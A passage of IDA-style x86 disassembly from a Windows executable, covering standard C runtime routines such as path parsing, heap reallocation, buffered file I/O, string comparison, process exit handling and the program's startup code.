sub_415628 proc near ; CODE XREF: sub_4093C1+1E3p ; sub_40C2D0+107p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_413E90 cmp eax, 1 pop ecx jb short loc_415663 cmp byte ptr [ebx+1], 3Ah jnz short loc_415663 mov esi, [ebp+arg_4] test esi, esi jz short loc_41565F push 2 push ebx push esi call sub_41A5F3 add esp, 0Ch and byte ptr [esi+2], 0 loc_41565F: ; CODE XREF: sub_415628+25j inc ebx inc ebx jmp short loc_41566D ; --------------------------------------------------------------------------- loc_415663: ; CODE XREF: sub_415628+18j ; sub_415628+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41566D and byte ptr [eax], 0 loc_41566D: ; CODE XREF: sub_415628+39j ; sub_415628+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4156E5 loc_415680: ; CODE XREF: sub_415628+87j mov cl, [eax] movzx edx, cl test byte_743761[edx], 4 jz short loc_415691 inc eax jmp short loc_4156AB ; --------------------------------------------------------------------------- loc_415691: ; CODE XREF: sub_415628+64j cmp cl, 2Fh jz short loc_4156A5 cmp cl, 5Ch jz short loc_4156A5 cmp cl, 2Eh jnz short loc_4156AB mov [ebp+var_4], eax jmp short loc_4156AB ; --------------------------------------------------------------------------- loc_4156A5: ; CODE XREF: sub_415628+6Cj ; sub_415628+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_4156AB: ; CODE XREF: sub_415628+67j ; sub_415628+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_415680 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4156E5 cmp [ebp+arg_8], 0 jz short loc_4156E0 sub edi, ebx cmp edi, esi jb short loc_4156C9 mov edi, esi loc_4156C9: ; CODE XREF: sub_415628+9Dj push edi push ebx push [ebp+arg_8] call sub_41A5F3 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4156E0: ; CODE XREF: sub_415628+97j mov ebx, [ebp+arg_4] jmp short loc_4156EF ; --------------------------------------------------------------------------- loc_4156E5: ; CODE XREF: sub_415628+56j ; sub_415628+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4156EF and byte ptr [ecx], 0 loc_4156EF: ; CODE XREF: sub_415628+BBj ; sub_415628+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_415742 cmp edi, ebx jb short loc_415742 cmp [ebp+arg_C], 0 jz short loc_41571F sub edi, ebx cmp edi, esi jb short loc_415708 mov edi, esi loc_415708: ; CODE XREF: sub_415628+DCj push edi push ebx push [ebp+arg_C] call sub_41A5F3 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41571F: ; CODE XREF: sub_415628+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41576A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41572F mov esi, eax loc_41572F: ; CODE XREF: sub_415628+103j push esi push [ebp+var_4] push edi call sub_41A5F3 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41576A ; --------------------------------------------------------------------------- loc_415742: ; CODE XREF: sub_415628+CCj ; sub_415628+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_415760 sub eax, ebx cmp eax, esi jnb short loc_415751 mov esi, eax loc_415751: ; CODE XREF: sub_415628+125j push esi push ebx push edi call sub_41A5F3 add esp, 0Ch and byte ptr [esi+edi], 0 loc_415760: ; CODE XREF: sub_415628+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41576A and byte ptr [eax], 0 loc_41576A: ; CODE XREF: sub_415628+FCj ; sub_415628+118j ... pop edi pop esi pop ebx leave retn sub_415628 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41576F proc near ; CODE XREF: sub_4098A7+19p ; sub_40B26F+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_416065 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4157AD mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4157BA ; --------------------------------------------------------------------------- loc_4157AD: ; CODE XREF: sub_41576F+34j lea eax, [ebp+var_20] push eax push 0 call sub_415F50 pop ecx pop ecx loc_4157BA: ; CODE XREF: sub_41576F+3Cj mov eax, esi pop esi leave retn sub_41576F endp ; =============== S U B R O U T I N E ======================================= sub_4157BF proc near ; CODE XREF: sub_409B05+2Ep ; sub_414913+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_4157DA push [esp+10h+arg_4] call sub_413F0B pop ecx jmp loc_4158DA ; --------------------------------------------------------------------------- loc_4157DA: ; CODE XREF: sub_4157BF+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_4157F0 push ebx call sub_413F7F pop ecx loc_4157E9: ; CODE XREF: sub_4157BF+114j xor eax, eax jmp loc_4158DA ; --------------------------------------------------------------------------- loc_4157F0: ; CODE XREF: sub_4157BF+21j ; sub_4157BF+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4158BB push ebx call sub_416979 mov ebp, eax pop ecx test ebp, ebp jz loc_415898 cmp esi, dword_4379CC ja short loc_415858 push esi push ebx push ebp call sub_417184 add esp, 0Ch test eax, eax jz short loc_415827 mov edi, ebx jmp short loc_415850 ; --------------------------------------------------------------------------- loc_415827: ; CODE XREF: sub_4157BF+62j push esi call sub_416CCF mov edi, eax pop ecx test edi, edi jz short loc_415858 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41583E mov eax, esi loc_41583E: ; CODE XREF: sub_4157BF+7Bj push eax push ebx push edi call sub_4138F0 push ebx push ebp call sub_4169A4 add esp, 14h loc_415850: ; CODE XREF: sub_4157BF+66j test edi, edi jnz loc_4158D8 loc_415858: ; CODE XREF: sub_4157BF+53j ; sub_4157BF+73j test esi, esi jnz short loc_41585F push 1 pop esi loc_41585F: ; CODE XREF: sub_4157BF+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_743880 call ds:dword_41F144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4158BB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_415884 mov eax, esi loc_415884: ; CODE XREF: sub_4157BF+C1j push eax push ebx push edi call sub_4138F0 push ebx push ebp call sub_4169A4 add esp, 14h jmp short loc_4158B7 ; --------------------------------------------------------------------------- loc_415898: ; CODE XREF: sub_4157BF+47j test esi, esi jnz short loc_41589F push 1 pop esi loc_41589F: ; CODE XREF: sub_4157BF+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_743880 call ds:off_41F158 mov edi, eax loc_4158B7: ; CODE XREF: sub_4157BF+D7j test edi, edi jnz short loc_4158D8 loc_4158BB: ; CODE XREF: sub_4157BF+36j ; sub_4157BF+B9j cmp dword_742284, 0 jz short loc_4158D8 push esi call sub_4168E4 test eax, eax pop ecx jnz loc_4157F0 jmp loc_4157E9 ; --------------------------------------------------------------------------- loc_4158D8: ; CODE XREF: sub_4157BF+93j ; sub_4157BF+FAj ... mov eax, edi loc_4158DA: ; CODE XREF: sub_4157BF+16j ; sub_4157BF+2Cj pop edi pop esi pop ebp pop ebx retn sub_4157BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4158DF proc near ; CODE XREF: sub_40A160+12Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_415903 xor eax, eax jmp loc_4159D0 ; --------------------------------------------------------------------------- loc_415903: ; CODE XREF: sub_4158DF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_415916 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41591D ; --------------------------------------------------------------------------- loc_415916: ; CODE XREF: sub_4158DF+2Dj mov [ebp+arg_C], 1000h loc_41591D: ; CODE XREF: sub_4158DF+35j ; sub_4158DF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_415951 mov eax, [esi+4] test eax, eax jz short loc_415951 cmp ebx, eax mov edi, ebx jb short loc_415937 mov edi, eax loc_415937: ; CODE XREF: sub_4158DF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4138F0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_415997 ; --------------------------------------------------------------------------- loc_415951: ; CODE XREF: sub_4158DF+47j ; sub_4158DF+4Ej cmp ebx, [ebp+arg_C] jb short loc_41599C test ecx, ecx jz short loc_415965 push esi call sub_419849 test eax, eax pop ecx jnz short loc_4159DE loc_415965: ; CODE XREF: sub_4158DF+79j cmp [ebp+arg_C], 0 jz short loc_415978 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41597A ; --------------------------------------------------------------------------- loc_415978: ; CODE XREF: sub_4158DF+8Aj mov edi, ebx loc_41597A: ; CODE XREF: sub_4158DF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41A67D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4159D5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4159D5 loc_415997: ; CODE XREF: sub_4158DF+70j mov edi, [ebp+var_4] jmp short loc_4159C5 ; --------------------------------------------------------------------------- loc_41599C: ; CODE XREF: sub_4158DF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_415F50 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4159DE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4159C5 mov [ebp+arg_C], 1 loc_4159C5: ; CODE XREF: sub_4158DF+BBj ; sub_4158DF+DDj test ebx, ebx jnz loc_41591D mov eax, [ebp+arg_8] loc_4159D0: ; CODE XREF: sub_4158DF+1Fj ; sub_4158DF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4159D5: ; CODE XREF: sub_4158DF+ADj ; sub_4158DF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4159E0 ; --------------------------------------------------------------------------- loc_4159DE: ; CODE XREF: sub_4158DF+84j ; sub_4158DF+CFj mov eax, edi loc_4159E0: ; CODE XREF: sub_4158DF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4159D0 sub_4158DF endp ; =============== S U B R O U T I N E ======================================= sub_4159E9 proc near ; CODE XREF: sub_40A90D+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_41F078 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_415A09 call ds:off_41F06C push eax call sub_41A82A pop ecx loc_415A05: ; CODE XREF: sub_4159E9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_415A09: ; CODE XREF: sub_4159E9+Dj test al, 1 jz short loc_415A2A test [esp+arg_4], 2 jz short loc_415A2A mov dword_74222C, 0Dh mov dword_742230, 5 jmp short loc_415A05 ; --------------------------------------------------------------------------- loc_415A2A: ; CODE XREF: sub_4159E9+22j ; sub_4159E9+29j xor eax, eax retn sub_4159E9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40AA37+5Fp ; sub_40AA37+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_415A51 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_415A51: ; CODE XREF: sub_415A30+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_415A6D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_415A6D: ; CODE XREF: sub_415A30+27j or eax, eax jnz short loc_415A89 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_415ACA ; --------------------------------------------------------------------------- loc_415A89: ; CODE XREF: sub_415A30+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_415A97: ; CODE XREF: sub_415A30+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_415A97 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_415AC5 cmp edx, [esp+0Ch+arg_4] ja short loc_415AC5 jb short loc_415AC6 cmp eax, [esp+0Ch+arg_0] jbe short loc_415AC6 loc_415AC5: ; CODE XREF: sub_415A30+85j ; sub_415A30+8Bj dec esi loc_415AC6: ; CODE XREF: sub_415A30+8Dj ; sub_415A30+93j xor edx, edx mov eax, esi loc_415ACA: ; CODE XREF: sub_415A30+57j dec edi jnz short loc_415AD4 neg edx neg eax sbb edx, 0 loc_415AD4: ; CODE XREF: sub_415A30+9Bj pop ebx pop esi pop edi retn 10h sub_415A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415AE0 proc near ; CODE XREF: sub_40AD97+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_415B2C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_415B2D test eax, 1 jz short loc_415B0D mov cl, [esi] cmp cl, [edi] jnz short loc_415B5A inc esi inc edi dec eax jz short loc_415B2A loc_415B0D: ; CODE XREF: sub_415AE0+20j ; sub_415AE0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_415B5A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_415B5A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_415B0D loc_415B2A: ; CODE XREF: sub_415AE0+2Bj ; sub_415AE0+84j pop edi pop esi locret_415B2C: ; CODE XREF: sub_415AE0+6j retn ; --------------------------------------------------------------------------- loc_415B2D: ; CODE XREF: sub_415AE0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_415B62 repe cmpsd jz short loc_415B62 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_415B55 cmp ch, dh jnz short loc_415B55 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_415B55 cmp ch, dh loc_415B55: ; CODE XREF: sub_415AE0+63j ; sub_415AE0+67j ... mov eax, 0 loc_415B5A: ; CODE XREF: sub_415AE0+26j ; sub_415AE0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_415B62: ; CODE XREF: sub_415AE0+55j ; sub_415AE0+59j test eax, eax jz short loc_415B2A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_415B55 dec eax jz short loc_415B89 cmp dh, ch jnz short loc_415B55 dec eax jz short loc_415B89 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_415B55 dec eax loc_415B89: ; CODE XREF: sub_415AE0+8Fj ; sub_415AE0+96j pop edi pop esi retn sub_415AE0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_415BA0 loc_415B90: ; CODE XREF: sub_415BA0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_415BA0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_40B734+32p ; sub_40B85A+21p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00415B90 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_415BA6: ; CODE XREF: sub_413DE0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_415BCB loc_415BB8: ; CODE XREF: sub_415BA0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_415B90 test cl, cl jz short loc_415C14 test edx, 3 jnz short loc_415BB8 loc_415BCB: ; CODE XREF: sub_415BA0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_415BD6: ; CODE XREF: sub_415BA0+61j ; sub_415BA0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_415C18 and eax, 81010100h jz short loc_415BD6 and eax, 1010100h jnz short loc_415C12 and esi, 80000000h jnz short loc_415BD6 loc_415C12: ; CODE XREF: sub_415BA0+68j ; sub_415BA0+81j ... pop esi pop edi loc_415C14: ; CODE XREF: sub_415BA0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_415C18: ; CODE XREF: sub_415BA0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_415C55 test al, al jz short loc_415C12 cmp ah, bl jz short loc_415C4E test ah, ah jz short loc_415C12 shr eax, 10h cmp al, bl jz short loc_415C47 test al, al jz short loc_415C12 cmp ah, bl jz short loc_415C40 test ah, ah jz short loc_415C12 jmp short loc_415BD6 ; --------------------------------------------------------------------------- loc_415C40: ; CODE XREF: sub_415BA0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_415C47: ; CODE XREF: sub_415BA0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415C4E: ; CODE XREF: sub_415BA0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415BA0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_415BA0 endp ; =============== S U B R O U T I N E ======================================= sub_415C5C proc near ; CODE XREF: .text:00415EA4p mov eax, off_43777C test eax, eax jz short loc_415C67 call eax ; sub_41407D loc_415C67: ; CODE XREF: sub_415C5C+7j push offset dword_421024 push offset dword_421010 call sub_415D44 push offset dword_42100C push offset dword_421000 call sub_415D44 add esp, 10h retn sub_415C5C endp ; =============== S U B R O U T I N E ======================================= sub_415C89 proc near ; CODE XREF: .text:00415EE3p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_415CAB add esp, 0Ch retn sub_415C89 endp ; =============== S U B R O U T I N E ======================================= sub_415C9A proc near ; CODE XREF: .text:00415F02p ; sub_415F07+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_415CAB add esp, 0Ch retn sub_415C9A endp ; =============== S U B R O U T I N E ======================================= sub_415CAB proc near ; CODE XREF: sub_415C89+8p ; sub_415C9A+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_742274, edi jnz short loc_415CC8 push [esp+4+arg_0] call ds:off_41F0F0 push eax call ds:off_41F138 loc_415CC8: ; CODE XREF: sub_415CAB+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_742270, edi mov byte_74226C, bl jnz short loc_415D1C mov eax, dword_743894 test eax, eax jz short loc_415D0B mov ecx, dword_743890 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_415D0A loc_415CF7: ; CODE XREF: sub_415CAB+5Dj mov eax, [esi] test eax, eax jz short loc_415CFF call eax loc_415CFF: ; CODE XREF: sub_415CAB+50j sub esi, 4 cmp esi, dword_743894 jnb short loc_415CF7 loc_415D0A: ; CODE XREF: sub_415CAB+4Aj pop esi loc_415D0B: ; CODE XREF: sub_415CAB+3Cj push offset dword_421030 push offset dword_421028 call sub_415D44 pop ecx pop ecx loc_415D1C: ; CODE XREF: sub_415CAB+33j push offset dword_42103C push offset dword_421034 call sub_415D44 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_415D42 push [esp+4+arg_0] mov dword_742274, edi call ds:off_41F104 loc_415D42: ; CODE XREF: sub_415CAB+85j pop edi retn sub_415CAB endp ; =============== S U B R O U T I N E ======================================= sub_415D44 proc near ; CODE XREF: sub_415C5C+15p ; sub_415C5C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_415D49: ; CODE XREF: sub_415D44+16j cmp esi, [esp+4+arg_4] jnb short loc_415D5C mov eax, [esi] test eax, eax jz short loc_415D57 call eax loc_415D57: ; CODE XREF: sub_415D44+Fj add esi, 4 jmp short loc_415D49 ; --------------------------------------------------------------------------- loc_415D5C: ; CODE XREF: sub_415D44+9j pop esi retn sub_415D44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D5E proc near ; CODE XREF: sub_40CC09+409Fp ; sub_40CC09+40CEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_415D72 xor eax, eax jmp short loc_415DA8 ; --------------------------------------------------------------------------- loc_415D72: ; CODE XREF: sub_415D5E+Ej dec [ebp+arg_4] push esi jz short loc_415DA2 mov esi, [ebp+arg_8] loc_415D7B: ; CODE XREF: sub_415D5E+42j dec dword ptr [esi+4] js short loc_415D8A mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_415D91 ; --------------------------------------------------------------------------- loc_415D8A: ; CODE XREF: sub_415D5E+20j push esi call sub_41991B pop ecx loc_415D91: ; CODE XREF: sub_415D5E+2Aj cmp eax, 0FFFFFFFFh jz short loc_415DAC mov [edi], al inc edi cmp al, 0Ah jz short loc_415DA2 dec [ebp+arg_4] jnz short loc_415D7B loc_415DA2: ; CODE XREF: sub_415D5E+18j ; sub_415D5E+3Dj ... and byte ptr [edi], 0 loc_415DA5: ; CODE XREF: sub_415D5E+55j mov eax, ebx pop esi loc_415DA8: ; CODE XREF: sub_415D5E+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_415DAC: ; CODE XREF: sub_415D5E+36j cmp edi, [ebp+arg_0] jnz short loc_415DA2 xor ebx, ebx jmp short loc_415DA5 sub_415D5E endp ; =============== S U B R O U T I N E ======================================= sub_415DB5 proc near ; CODE XREF: sub_40CC09+2761p arg_0 = dword ptr 4 push [esp+arg_0] call ds:off_41F118 test eax, eax jnz short loc_415DCB call ds:off_41F06C jmp short loc_415DCD ; --------------------------------------------------------------------------- loc_415DCB: ; CODE XREF: sub_415DB5+Cj xor eax, eax loc_415DCD: ; CODE XREF: sub_415DB5+14j test eax, eax jz short loc_415DDC push eax call sub_41A82A pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_415DDC: ; CODE XREF: sub_415DB5+1Aj xor eax, eax retn sub_415DB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DDF proc near ; CODE XREF: sub_40CC09+26B8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A891 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_416065 push [ebp+arg_0] mov edi, eax push esi call sub_41A91E add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_415DDF endp ; --------------------------------------------------------------------------- loc_415E11: ; CODE XREF: _0z4jwtox:00753AA8j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F670 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_41F164 ; GetVersion xor edx, edx mov dl, ah mov dword_742244, edx mov ecx, eax and ecx, 0FFh mov dword_742240, ecx shl ecx, 8 add ecx, edx mov dword_74223C, ecx shr eax, 10h mov dword_742238, eax xor esi, esi push esi call sub_4168FF pop ecx test eax, eax jnz short loc_415E7D push 1Ch call sub_415F2C pop ecx loc_415E7D: ; CODE XREF: .text:00415E73j mov [ebp-4], esi call sub_41AF6F call ds:off_41F160 mov dword_743884, eax call sub_41AE3D mov dword_742278, eax call sub_41ABF0 call sub_41AB37 call sub_415C5C mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call ds:off_41F15C call sub_41AADF mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_415ECA movzx eax, word ptr [ebp-2Ch] jmp short loc_415ECD ; --------------------------------------------------------------------------- loc_415ECA: ; CODE XREF: .text:00415EC2j push 0Ah pop eax loc_415ECD: ; CODE XREF: .text:00415EC8j push eax push dword ptr [ebp-64h] push esi push esi call ds:dword_41F0B0 ; GetModuleHandleA push eax call sub_40C2D0 mov [ebp-60h], eax push eax call sub_415C89 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41A95B pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_415C9A ; =============== S U B R O U T I N E ======================================= sub_415F07 proc near ; CODE XREF: sub_414992+16p ; sub_41AB37+4Ep ... arg_0 = dword ptr 4 cmp dword_742280, 1 jnz short loc_415F15 call sub_41B1FC loc_415F15: ; CODE XREF: sub_415F07+7j push [esp+arg_0] call sub_41B235 push 0FFh call off_4377A0 pop ecx pop ecx retn sub_415F07 endp ; =============== S U B R O U T I N E ======================================= sub_415F2C proc near ; CODE XREF: .text:00415E77p arg_0 = dword ptr 4 cmp dword_742280, 1 jnz short loc_415F3A call sub_41B1FC loc_415F3A: ; CODE XREF: sub_415F2C+7j push [esp+arg_0] call sub_41B235 pop ecx push 0FFh call ds:off_41F104 retn sub_415F2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F50 proc near ; CODE XREF: sub_413812+46p ; sub_413D8A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_416059 test al, 40h jnz loc_416059 test al, 1 jz short loc_415F88 and dword ptr [esi+4], 0 test al, 10h jz loc_416059 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_415F88: ; CODE XREF: sub_415F50+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_415FC2 cmp esi, offset dword_437EC8 jz short loc_415FB0 cmp esi, offset dword_437EE8 jnz short loc_415FBB loc_415FB0: ; CODE XREF: sub_415F50+56j push ebx call sub_41B3CC test eax, eax pop ecx jnz short loc_415FC2 loc_415FBB: ; CODE XREF: sub_415F50+5Ej push esi call sub_41B388 pop ecx loc_415FC2: ; CODE XREF: sub_415F50+4Ej ; sub_415F50+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41602F mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_415FF2 push edi push eax push ebx call sub_41A67D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_416025 ; --------------------------------------------------------------------------- loc_415FF2: ; CODE XREF: sub_415F50+90j cmp ebx, 0FFFFFFFFh jz short loc_41600D mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_743540[eax*4] lea eax, [eax+ecx*8] jmp short loc_416012 ; --------------------------------------------------------------------------- loc_41600D: ; CODE XREF: sub_415F50+A5j mov eax, offset dword_437E10 loc_416012: ; CODE XREF: sub_415F50+BBj test byte ptr [eax+4], 20h jz short loc_416025 push 2 push 0 push ebx call sub_419DD2 add esp, 0Ch loc_416025: ; CODE XREF: sub_415F50+A0j ; sub_415F50+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_416043 ; --------------------------------------------------------------------------- loc_41602F: ; CODE XREF: sub_415F50+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41A67D add esp, 0Ch mov [ebp+arg_4], eax loc_416043: ; CODE XREF: 